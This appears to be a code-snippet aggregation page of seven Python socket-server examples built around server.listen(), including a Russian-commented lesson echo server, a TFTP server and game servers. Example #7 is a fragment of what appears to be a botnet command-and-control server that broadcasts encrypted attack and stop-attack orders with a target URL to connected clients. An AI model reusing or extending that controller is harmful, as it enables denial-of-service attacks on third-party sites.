Пример #1
0
def lesson_2():
    # !адрес сервера и порт
    SERVER_ADDRESS = ("", 56009)
    # !создаем сервер
    server = socket.socket()
    # !привязка сервера к адресу
    server.bind(SERVER_ADDRESS)
    # !определяем максимальное количество клиентов для одновременного пользования сервером
    server.listen(1)
    # !цикл ожидания подключения
    while True:
        # !информация полученая от клиента приоброзована к переменным
        a, b = server.accept()
        # !получение данных с полученной информации с указанием кол-ва байт информации
        from_user = a.recv(4096)
        print("Получено от пользователя:", from_user)
        # !обработка полученных данных
        if from_user.decode("utf-8") == "stop":
            print("Сервер остановлен")
            break
        # !проверка является ли строка от пользователя числом
        if from_user.decode("utf-8").isdigit():
            for_user = bytes(f"{int(from_user.decode('utf-8')) * 10}",
                             encoding="utf-8")
        else:
            for_user = bytes(f"{from_user.decode('utf-8')} не число",
                             encoding="utf-8")
        # !отправка ответа клиенту
        a.send(for_user)
        # !отключение клиента от сервера (рассоеденение)
        a.close()
Пример #2
0
def _tftp_server():
    thread = threading.currentThread()
    while getattr(thread, "running", True):
        try:
            server = tftpy.TftpServer(getattr(thread, "path", '.'))
            server.listen('0.0.0.0', 69)
        except KeyboardInterrupt:
            break
Пример #3
0
def data_server_listen():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 1234))
    server.listen()

    while True:
        client_socket, address = server.accept()
        handle_data_socket(client_socket, address)
Пример #4
0
 def run(self):
     print("Internet Socket Server started on: [{}]".format(hostname))
     print("LOCAL IP address = {}".format(local_ip))
     print("Waiting for clients on port {}...".format(common.server_port))
     while True:
         server.listen(1)
         socket, clientAddress = server.accept()
         # Allocate and start a new Thread to communicate with
         # the new Internet Game Client.
         GameServerSocketThread(clientAddress, socket).start()
Пример #5
0
import socketserver

# output queue sending from 127.0.0.1:8080
queue_out = queue.Queue()
queue_out_list = []
# input queue received towards 127.0.0.1:8080
queue_in = queue.Queue()

# Server address to listen for laptop
HOST = ''
PORT = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST, PORT = "localhost", 8080

server.bind((HOST, PORT))
server.listen()


# Process to socket on 127.0.0.1 8080 for laptop connections
def process():
    global server
    global conn
    global queue_in
    global queue_out
    global queue_out_list

    inputs = [
        server,
    ]
    outputs = []
    s_to_addr = {}
Пример #6
0
def start_tcp_server():
    # server.bind(('172.16.16.168', 50001)) #server ip
    server.bind(('127.0.0.1', 50001))  # test ip
    server.listen()
Пример #7
0
            print(url)
            type = type.replace(" ", "")
            print(type)
            for i in range(len(self.connected)):
                self.connected[i].send(self.keys[i].encrypt(
                    ("%$Att " + type + " " + url).encode()))
        except Exception as e:
            print(e)

    def stopattack(self):
        for i in range(len(self.connected)):
            self.connected[i].send(self.keys[i].encrypt(
                ("%$StopAtt").encode()))


open("IP.txt", 'w')
ip = "0.0.0.0"
port = 80

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 36983))
server.listen(1)

x = Server(ip, port, server)
th = threading.Thread(target=x.updateAlive)
th.start()

while True:
    client, ip = server.accept()
    threading.Thread(target=x.onConnect, args=[client, ip]).start()